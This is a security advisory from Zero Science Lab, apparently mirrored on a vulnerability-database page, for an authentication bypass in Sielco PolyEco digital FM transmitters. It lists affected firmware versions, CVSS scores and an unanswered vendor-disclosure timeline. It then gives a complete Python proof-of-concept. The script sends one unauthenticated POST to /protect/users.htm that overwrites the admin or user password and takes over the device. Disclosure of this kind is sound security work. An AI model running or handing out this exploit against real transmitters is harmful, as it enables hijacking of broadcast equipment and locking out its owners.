Lucene search

K
zeroscienceGjoko KrsticZSL-2023-5769
HistoryApr 10, 2023 - 12:00 a.m.

Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit

2023-04-1000:00:00
Gjoko Krstic
zeroscience.mk
138
sielco
polyeco
fm transmitter
authentication bypass
privilege escalation
security bypass
system access
vulnerability
sielco s.r.l
gjoko krstic
lwip/2.1.1

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

39.3%

Title: Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
Advisory ID: ZSL-2023-5769
Type: Local/Remote
Impact: Privilege Escalation, Security Bypass, System Access
Risk: (5/5)
Release Date: 10.04.2023

Summary

PolyEco is the innovative family of high-end digital FM transmitters of Sielco. They are especially suited as high performance power system exciters or compact low-mid power transmitters. The same cabinet may in fact be fitted with 50, 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500, 1000).

All features can be controlled via the large touch-screen display 4.3" or remotely. Many advanced features are inside by default in the basic version such as: stereo and RDS encoder, audio change-over, remote-control via LAN and SNMP, “FFT” spectral analysis of the audio sources, SFN synchronization and much more.

Description

The application suffers from an authentication bypass and account takeover/lockout vulnerability that can be triggered by directly calling the users object and effectively modifying the password of the two constants user/role (user/admin). This can be exploited by an unauthenticated adversary by issuing a single POST request to the vulnerable endpoint and gain unauthorized access to the affected device with administrative privileges.

Vendor

Sielco S.r.l - <https://www.sielco.org>

Affected Version

PolyEco1000 CPU:2.0.6 FPGA:10.19
PolyEco1000 CPU:1.9.4 FPGA:10.19
PolyEco1000 CPU:1.9.3 FPGA:10.19
PolyEco500 CPU:1.7.0 FPGA:10.16
PolyEco300 CPU:2.0.2 FPGA:10.19
PolyEco300 CPU:2.0.0 FPGA:10.19

Tested On

lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)

Vendor Status

[26.01.2023] Vulnerability discovered.
[27.01.2023] Contact with the vendor and CSIRT Italia.
[09.04.2023] No response from the vendor.
[09.04.2023] No response from the CSIRT team.
[10.04.2023] Public security advisory released.

PoC

sielco_polyeco_auth.py

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://www.exploit-db.com/exploits/51367&gt;
[2] <https://packetstormsecurity.com/files/171850/&gt;
[3] <https://cxsecurity.com/issue/WLB-2023050001&gt;
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/269704&gt;
[5] <https://exchange.xforce.ibmcloud.com/vulnerabilities/253067&gt;
[6] <https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-07&gt;
[7] <https://nvd.nist.gov/vuln/detail/CVE-2023-46665&gt;
[8] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-46665&gt;
[9] <https://www.tenable.com/cve/CVE-2023-46665&gt;

Changelog

[10.04.2023] - Initial release
[03.11.2023] - Added reference [1], [2], [3], [4], [5], [6], [7], [8] and [9]

Contact

Zero Science Lab

Web: <https://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
#
#
# Vendor: Sielco S.r.l
# Product web page: https://www.sielco.org
# Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
#                   PolyEco1000 CPU:1.9.4 FPGA:10.19
#                   PolyEco1000 CPU:1.9.3 FPGA:10.19
#                   PolyEco500 CPU:1.7.0 FPGA:10.16
#                   PolyEco300 CPU:2.0.2 FPGA:10.19
#                   PolyEco300 CPU:2.0.0 FPGA:10.19
#
# Summary: PolyEco is the innovative family of high-end digital
# FM transmitters of Sielco. They are especially suited as high
# performance power system exciters or compact low-mid power
# transmitters. The same cabinet may in fact be fitted with 50,
# 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
# 1000).
#
# All features can be controlled via the large touch-screen display
# 4.3" or remotely. Many advanced features are inside by default
# in the basic version such as: stereo and RDS encoder, audio
# change-over, remote-control via LAN and SNMP, "FFT" spectral
# analysis of the audio sources, SFN synchronization and much more.
#
# Desc: The application suffers from an authentication bypass and
# account takeover/lockout vulnerability that can be triggered by
# directly calling the users object and effectively modifying the
# password of the two constants user/role (user/admin). This can
# be exploited by an unauthenticated adversary by issuing a single
# POST request to the vulnerable endpoint and gain unauthorized
# access to the affected device with administrative privileges.
#
# Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2023-5769
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5769.php
#
#
# 26.01.2023
#
#


import requests
print( '''
                .-  _           _  -.
               /   /             \\   \\
              (   (  (` (-o-) `)  )   )
               \   \_ `  -+-  ` _/   /
                `-       -+-       -`
                         -+-
                         -+-
                         -+-
                         -+-
                         -+-
                         -+-
                        /   \\
  *****************************************************
     ! Sielco PolyEco Authentication Bypass Script !
  *****************************************************

  Please note that this script is for educational and
  ethical purposes only. Using it for unauthorized
  access or malicious activities is strictly prohibited
  and can have serious legal and ethical consequences.
  The responsibility of using this script in a lawful
  and ethical manner lies solely with the user. The
  author or creator of this script shall not be held
  responsible for any unlawful or unethical activities
  performed by the users.
''' )
url = input( '  Enter the URL (e.g. http://host:8090): ' )
if not 'http' in url :
    url = 'http://{}'.format( url )
user = input( '  Enter the desired role (e.g. user or admin): ')
if user not in [ 'user', 'admin' ] :
    exit( '  Only \'user\' or \'admin\' please.' )
password = input( '  Enter the desired password: ' )
end = '/protect/users.htm'
payload = {}
if user == "user" : 
    payload[ 'pwd_admin' ] = ''
    payload[ 'pwd_user' ]  = password
elif user == 'admin' :
    payload[ 'pwd_admin' ] = password
    payload[ 'pwd_user' ]  = ''
r = requests.post( url + end, data = payload )
if r.status_code == 200 :
    print( '\n  MSG: OK.' )
else:
    print( '\n  MSG: ERROR!' )
</p></body></html>

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

39.3%

Related for ZSL-2023-5769